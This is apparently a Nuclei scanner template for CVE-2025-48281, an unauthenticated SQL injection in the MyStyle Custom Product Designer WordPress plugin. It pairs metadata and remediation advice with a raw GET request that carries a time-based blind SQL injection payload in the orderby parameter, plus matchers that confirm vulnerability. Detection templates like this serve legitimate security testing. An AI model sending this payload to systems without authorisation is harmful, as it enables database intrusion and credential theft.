id: CVE-2025-48281

info:
  name: MyStyle Custom Product Designer <= 3.21.1 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    The MyStyle Custom Product Designer plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.21.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    An unauthenticated attacker can extract sensitive information from the database including user credentials, password hashes, and other confidential data via time-based blind SQL injection.
  remediation: Update to version 3.21.2 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-48281
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.3
    cve-id: CVE-2025-48281
    epss-score: 0.05014
    epss-percentile: 0.89839
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2025,wordpress,wp,wp-plugin,sqli,mystyle-custom-product-designer,vkev

http:
  - raw:
      - |
        @timeout: 20s
        GET /designs/?orderby=(SELECT+42+FROM+(SELECT(SLEEP(7)))test) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
          - contains(body, 'mystyle-custom-product-designer') || contains(body, 'mystyle-design-profile')
        condition: and
# digest: 490a00463044022031e2a28b4a9160fda1dcd628d0b3a238435957ddc9d3291fb2c38a5ba1505704022014c8841a913d38f0645595f7499441fb658d6fbd9cdd28ad4a829efb23016b9b:922c64590222798bb761d5b6d8e72950